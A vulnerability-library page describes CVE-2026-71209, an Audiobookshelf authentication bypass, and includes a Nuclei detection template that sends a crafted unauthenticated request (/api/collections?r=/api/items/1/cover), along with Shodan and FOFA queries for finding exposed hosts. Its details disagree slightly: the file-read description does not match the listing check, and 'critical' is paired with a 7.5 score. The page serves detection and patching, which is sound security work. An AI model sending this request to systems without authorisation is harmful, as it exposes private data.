/Vulnerability Library

Audiobookshelf - Authentication Bypass

CVE-2026-71209
Early Release

Description

Audiobookshelf contains a path traversal caused by improper authentication-exemption check on URL-encoded paths in server/routers/Auth.js, letting unauthenticated attackers read arbitrary files, exploit requires crafted URL with encoded traversal sequences.

Severity

Critical

CVSS Score

7.5

Affected Product

audiobookshelf

Published Date

August 6, 2026

Template Author

str4k3r

CVE-2026-71209.yaml
id: CVE-2026-71209

info:
  name: Audiobookshelf - Authentication Bypass
  author: str4k3r
  severity: critical
  description: |
    Audiobookshelf contains a path traversal caused by improper authentication-exemption check on URL-encoded paths in server/routers/Auth.js, letting unauthenticated attackers read arbitrary files, exploit requires crafted URL with encoded traversal sequences.
  impact: |
    Unauthenticated attackers can read arbitrary files accessible by the service account, leading to sensitive information disclosure.
  remediation: |
    Update to the latest version with proper decoding and authentication checks for path parameters.
  reference:
    - https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-pg8v-5jcv-wrvw
    - https://nvd.nist.gov/vuln/detail/CVE-2026-71209
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-71209
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    vendor: audiobookshelf
    product: audiobookshelf
    shodan-query: title:"audiobookshelf"
    fofa-query: title="audiobookshelf"
  tags: cve,cve2026,audiobookshelf,auth-bypass,exposure

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "audiobookshelf", "Audiobookshelf")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/collections?r=/api/items/1/cover HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "collections")'
        condition: and
# digest: 490a0046304402204a49523b4c875e20a2103bfb384daf7b43640c44a9d27359d38109d0b5a3410f02203e3647cc19c08b5a0eb37a12ed0ee4b71c5b9d7aaca8ab33e9837a9bc0e31eee:922c64590222798bb761d5b6d8e72950
7.5Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2026-71209
CWE ID:
cwe-287

References

https://github.com/advplyr/audiobookshelf/security/advisories/GHSA-pg8v-5jcv-wrvwhttps://nvd.nist.gov/vuln/detail/CVE-2026-71209

Remediation Steps

Update to the latest version with proper decoding and authentication checks for path parameters.